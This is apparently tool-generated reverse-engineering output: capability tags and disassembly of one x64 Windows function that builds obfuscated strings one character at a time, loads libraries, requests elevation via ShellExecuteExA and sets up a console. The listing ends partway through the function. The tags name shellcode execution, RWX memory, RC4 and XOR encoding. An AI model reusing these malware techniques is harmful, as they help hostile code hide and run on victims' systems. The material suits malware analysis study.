Function at 0x14001ca30
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48588]
mov eax, 0x48660
call fcn.140096840
sub rsp, rax
mov rax, qword [0x1400f0700]
xor rax, rsp
mov qword [rbp + 0x48550], rax
mov edi, 0x843444
mov ecx, edi
call fcn.14000eb00
lea rdx, [0x1400e2760]
lea rcx, [rbp + 0xd30]
call fcn.140037e90
mov rdx, rax
mov ecx, edi
call fcn.14000eee8
mov byte [rbp + 0x140], 0x61
mov r15d, 9
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x141], al
mov r9d, r15d
lea r14d, [r15 - 8]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x142], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x64
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x143], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x144], al
mov r9d, r15d
lea r13d, [r15 - 5]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x145], al
mov r9d, r15d
lea ebx, [r15 - 4]
mov r8d, ebx
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x146], al
mov r9d, r15d
lea esi, [rbx + 1]
mov r8d, esi
mov dl, 0x64
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x147], al
mov r9d, r15d
lea r12d, [r15 - 2]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x148], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + 0x149], al
xor eax, eax
mov byte [rbp + 0x14a], al
mov edi, eax
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x141]
lea rcx, [rbp + 0x140]
call fcn.140037108
mov byte [rbp + rdi + 0x141], al
add rdi, r14
cmp rdi, r15
jb 0x14001cbad
xor eax, eax
mov byte [rbp + 0x14a], al
lea rcx, [rbp + 0x141]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [rbp + 0x200], WSACleanup
mov edi, ntohs
mov r9d, edi
xor r8d, r8d
mov dl, 0x6b
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x201], al
mov r9d, edi
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x202], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x203], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x204], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x205], al
mov r9d, edi
mov r8, rbx
mov dl, 0x6c
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x206], al
mov r9d, edi
mov r8, rsi
mov dl, 0x33
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x207], al
mov r9d, edi
mov r8, r12
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x208], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x209], al
mov r9d, edi
mov r8, r15
mov dl, 0x64
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x20a], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x6c
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x20b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + 0x20c], al
xor eax, eax
mov byte [rbp + 0x20d], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x201]
lea rcx, [rbp + 0x200]
call fcn.140037804
mov byte [rbp + rdi + 0x201], al
add rdi, r14
cmp rdi, 0xc
jb 0x14001cd3d
xor esi, esi
mov byte [rbp + 0x20d], sil
lea rcx, [rbp + 0x201]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14001bfc8
test eax, eax
jne 0x14001d711
mov ebx, esi
mov edi, 0x104
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x28440]
call fcn.1400bdea0
mov r8d, edi
lea rdx, [rbp + 0x28440]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14001cf29
xor edx, edx
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400bdea0
mov dword [rbp + 0xe40], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xe44], 0x400
mov qword [rbp + 0xe48], rsi
mov byte [rbp + 0x720], 0x76
lea ebx, [rsi + 5]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp + 0x720]
call fcn.14003778c
mov byte [rbp + 0x721], al
mov r9d, ebx
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x720]
call fcn.14003778c
mov byte [rbp + 0x722], al
mov r9d, ebx
lea r8d, [rsi + 2]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x720]
call fcn.14003778c
mov byte [rbp + 0x723], al
mov r9d, ebx
lea r8d, [rsi + 3]
mov dl, 0x61
lea rcx, [rbp + 0x720]
call fcn.14003778c
mov byte [rbp + 0x724], al
mov r9d, ebx
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x720]
call fcn.14003778c
mov byte [rbp + 0x725], al
xor eax, eax
mov byte [rbp + 0x726], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x721]
lea rcx, [rbp + 0x720]
call fcn.14003778c
mov byte [rbp + rdi + 0x721], al
add rdi, r14
cmp rdi, rbx
jb 0x14001ce8c
xor ecx, ecx
mov byte [rbp + 0x726], cl
lea rax, [rbp + 0x721]
mov qword [rbp + 0xe50], rax
lea rax, [rbp + 0x28440]
mov qword [rbp + 0xe58], rax
mov word [rbp + 0xb5c], 0x5f
mov byte [rbp + 0xb5d], cl
lea rax, [rbp + 0xb5d]
mov qword [rbp + 0xe60], rax
xor eax, eax
mov qword [rbp + 0xe68], rax
mov dword [rbp + 0xe70], r14d
mov qword [rbp + 0xe78], rax
lea rcx, [rbp + 0xe40]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140034cef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x20], listen
mov r9, r14
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp - 0x20]
call fcn.1400387e8
mov byte [rbp - 0x1f], al
xor ecx, ecx
mov byte [rbp - 0x1e], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x20]
call fcn.1400375bc
mov byte [rbp - 0x1f], al
mov byte [rbp - 0x1e], sil
mov edx, ebx
lea rcx, [rbp + 0xc90]
call fcn.14001beac
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x9a0], Ordinal_79
mov edi, reloc.WLDAP32.dll_Ordinal_45
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a1], al
mov r9d, edi
mov r8, r14
mov dl, 0x6c
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a2], al
mov r9d, edi
lea r8d, [rdi - 0x2b]
mov dl, 0x65
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a3], al
mov r9d, edi
lea r8d, [rdi - 0x2a]
mov dl, 0x61
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a4], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a5], al
mov r9d, edi
lea r8d, [rdi - 0x28]
mov dl, 0x65
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a6], al
mov r9d, edi
lea r8d, [rdi - 0x27]
lea r14d, [rdi - 0xd]
mov dl, r14b
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a7], al
mov r9d, edi
mov r8, r12
mov dl, 0x4c
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a8], al
mov r9d, edi
lea r8d, [rdi - 0x25]
mov dl, 0x61
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9a9], al
mov r9d, edi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9aa], al
mov r9d, edi
lea r8d, [rdi - 0x23]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9ab], al
mov r9d, edi
lea r8d, [rdi - 0x22]
mov dl, 0x63
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9ac], al
mov r9d, edi
lea r8d, [rdi - 0x21]
mov dl, 0x68
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9ad], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, r14b
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9ae], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x42
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9af], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b0], al
mov r9d, edi
lea r15d, [rdi - 0x1d]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b1], al
mov r9d, edi
lea ebx, [rdi - 0x1c]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b2], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, 0x53
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b3], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b4], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, WSAStartup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b5], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x61
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b6], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b7], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b8], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9b9], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, WSAStartup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9ba], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r14b
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9bb], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9bc], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9bd], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, r14b
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9be], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x41
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9bf], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c0], al
mov r9d, edi
mov r8d, r14d
mov dl, 0x6d
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c1], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c2], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c3], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c4], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c5], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c6], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c7], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x61
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c8], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9c9], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9ca], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9cb], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, r14b
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9cc], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, Ordinal_41
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + 0x9cd], al
xor eax, eax
mov byte [rbp + 0x9ce], al
mov edi, eax
lea esi, [rbx - 0x10]
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0x9a1]
lea rcx, [rbp + 0x9a0]
call fcn.140037714
mov byte [rbp + rdi + 0x9a1], al
add rdi, rsi
cmp rdi, 0x2d
jb 0x14001d451
xor eax, eax
mov byte [rbp + 0x9ce], al
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0x9a1]
lea rcx, [rbp + 0xc70]
call fcn.140038098
lea r8, [rbp - 0x1f]
mov rdx, rax
lea rcx, [rbp + 0x1080]
call fcn.1400381b0
lea rcx, [rbp + 0xc70]
call fcn.140037da8
lea rcx, [rbp + 0xc90]
call fcn.140037da8
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_600], 0x3c
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c1], al
mov r9, rbx
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c2], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c3], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c4], al
mov r9, rbx
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c5], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c6], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c7], al
mov r9, rbx
mov r8, r12
mov dl, 0x61
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c8], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3c9], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3ca], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3cb], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3cc], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3cd], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3ce], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3cf], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3d0], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + 0x3d1], al
xor eax, eax
mov byte [rbp + 0x3d2], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3c1]
lea rcx, [rbp + 0x3c0]
call fcn.1400371f8
mov byte [rbp + rdi + 0x3c1], al
add rdi, rsi
cmp rdi, rbx
jb 0x14001d6b8
xor eax, eax
mov byte [rbp + 0x3d2], al
lea rcx, [rbp + 0x1080]
call fcn.140037bec
xor r9d, r9d
lea r8, [rbp + 0x3c1]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.14009cf48
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor ecx, ecx
call fcn.14009e314
mov rbx, rax
mov byte [rbp - 0x1c], 0x5f
mov r9, r14
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp - 0x1c]
call fcn.1400387e8
mov byte [rbp - 0x1b], al
xor ecx, ecx
mov byte [rbp - 0x1a], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x1c]
call fcn.1400375bc
mov byte [rbp - 0x1b], al
mov byte [rbp - 0x1a], sil
mov byte [rbp - 0x10], 0x7d
mov edi, 6
mov r9d, edi
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp - 0x10]
call fcn.140037698
mov byte [rbp - 0xf], al
mov r9d, edi
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.140037698
mov byte [rbp - 0xe], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.140037698
mov byte [rbp - 0xd], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x49
lea rcx, [rbp - 0x10]
call fcn.140037698
mov byte [rbp - 0xc], al
mov r9d, edi
mov r8, r13
mov dl, Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.140037698
mov byte [rbp - 0xb], al
mov r9d, edi
lea esi, [rdi - 1]
mov r8d, esi
mov dl, 0x24
lea rcx, [rbp - 0x10]
call fcn.140037698
mov byte [rbp - 0xa], al
xor eax, eax
mov byte [rbp - 9], al
mov edi, eax
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0xf]
lea rcx, [rbp - 0x10]
call fcn.140037698
mov byte [rbp + rdi - 0xf], al
add rdi, r14
cmp rdi, 6
jb 0x14001d7e3
xor edi, edi
mov byte [rbp - 9], dil
mov r9, rbx
lea r8, [rbp - 0x1b]
lea rdx, [rbp - 0xf]
lea rcx, [rbp + 0xdc0]
call fcn.1400a1698
lea ecx, [rdi + 2]
call fcn.14009e314
mov rbx, rax
mov byte [rbp - 0x18], 0x5e
mov r9, r14
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x18]
call fcn.1400387e8
mov byte [rbp - 0x17], al
xor ecx, ecx
mov byte [rbp - 0x16], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x18]
call fcn.1400375bc
mov byte [rbp - 0x17], al
mov byte [rbp - 0x16], dil
mov byte [rbp], 0x52
mov r9, r12
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp]
call fcn.140037620
mov byte [rbp + 1], al
mov r9, r12
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp]
call fcn.140037620
mov byte [rbp + 2], al
mov r9, r12
lea r8d, [rdi + 2]
mov dl, Ordinal_79
lea rcx, [rbp]
call fcn.140037620
mov byte [rbp + 3], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp]
call fcn.140037620
mov byte [rbp + 4], al
mov r9, r12
mov r8, r13
mov dl, 0x55
lea rcx, [rbp]
call fcn.140037620
mov byte [rbp + 5], al
mov r9, r12
mov r8, rsi
mov dl, 0x54
lea rcx, [rbp]
call fcn.140037620
mov byte [rbp + 6], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, 0x24
lea rcx, [rbp]
call fcn.140037620
mov byte [rbp + 7], al
xor eax, eax
mov byte [rbp + 8], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 1]
lea rcx, [rbp]
call fcn.140037620
mov byte [rbp + rdi + 1], al
add rdi, r14
cmp rdi, r12
jb 0x14001d8fb
xor edi, edi
mov byte [rbp + 8], dil
mov r9, rbx
lea r8, [rbp - 0x17]
lea rdx, [rbp + 1]
lea rcx, [rbp + 0xdc0]
call fcn.1400a1698
mov ecx, r14d
call fcn.14009e314
mov rbx, rax
mov byte [rbp - 0x14], 0x6a
mov r9, r14
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x14]
call fcn.1400387e8
mov byte [rbp - 0x13], al
xor ecx, ecx
mov byte [rbp - 0x12], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x14]
call fcn.1400375bc
mov byte [rbp - 0x13], al
mov byte [rbp - 0x12], dil
mov byte [rbp + 0x20], 0x50
mov r9, r12
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x20]
call fcn.140037620
mov byte [rbp + 0x21], al
mov r9, r12
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x20]
call fcn.140037620
mov byte [rbp + 0x22], al
mov r9, r12
lea r8d, [rdi + 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0x20]
call fcn.140037620
mov byte [rbp + 0x23], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x20]
call fcn.140037620
mov byte [rbp + 0x24], al
mov r9, r12
mov r8, r13
mov dl, 0x55
lea rcx, [rbp + 0x20]
call fcn.140037620
mov byte [rbp + 0x25], al
mov r9, r12
mov r8, rsi
mov dl, 0x54
lea rcx, [rbp + 0x20]
call fcn.140037620
mov byte [rbp + 0x26], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, 0x24
lea rcx, [rbp + 0x20]
call fcn.140037620
mov byte [rbp + 0x27], al
xor eax, eax
mov byte [rbp + 0x28], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x21]
lea rcx, [rbp + 0x20]
call fcn.140037620
mov byte [rbp + rdi + 0x21], al
add rdi, r14
cmp rdi, r12
jb 0x14001da0f
xor eax, eax
mov byte [rbp + 0x28], al
mov r9, rbx
lea r8, [rbp - 0x13]
lea rdx, [rbp + 0x21]
lea rcx, [rbp + 0xdc0]
call fcn.1400a1698
mov edi, 0x3e
mov byte [rbp + 0xae0], dil
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae1], al
mov r9d, edi
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae2], al
mov r9d, edi
lea r8d, [rdi - 0x3c]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae3], al
mov r9d, edi
lea r8d, [rdi - 0x3b]
mov dl, 0x63
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae4], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae5], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae6], al
mov r9d, edi
lea r8d, [rdi - 0x38]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae7], al
mov r9d, edi
mov r8, r12
mov dl, 0x69
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae8], al
mov r9d, edi
lea r8d, [rdi - 0x36]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xae9], al
mov r9d, edi
mov r8, r15
mov dl, 0x67
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaea], al
mov r9d, edi
lea r8d, [rdi - 0x34]
lea r14d, [rdi - 0x1e]
mov dl, r14b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaeb], al
mov r9d, edi
lea r8d, [rdi - 0x33]
mov dl, 0x43
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaec], al
mov r9d, edi
lea r8d, [rdi - 0x32]
mov dl, 0x6c
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaed], al
mov r9d, edi
lea r8d, [rdi - 0x31]
mov dl, 0x69
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaee], al
mov r9d, edi
lea r8d, [rdi - 0x30]
mov dl, 0x65
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaef], al
mov r9d, edi
lea r8d, [rdi - 0x2f]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf0], al
mov r9d, edi
lea r8d, [rdi - 0x2e]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf1], al
mov r15d, edi
mov r9d, edi
lea r8d, [rdi - 0x2d]
mov dl, r14b
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf2], al
mov r9d, edi
lea r8d, [rdi - 0x2c]
mov dl, 0x44
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf3], al
mov r9d, edi
lea edi, [r9 - 0x2b]
mov r8d, edi
mov dl, 0x61
lea rcx, [rbp + 0xae0]
call fcn.140036fa0
mov byte [rbp + 0xaf4], al
mov r9d, r15d
lea esi, [rdi + 1]
mov r8d, esi
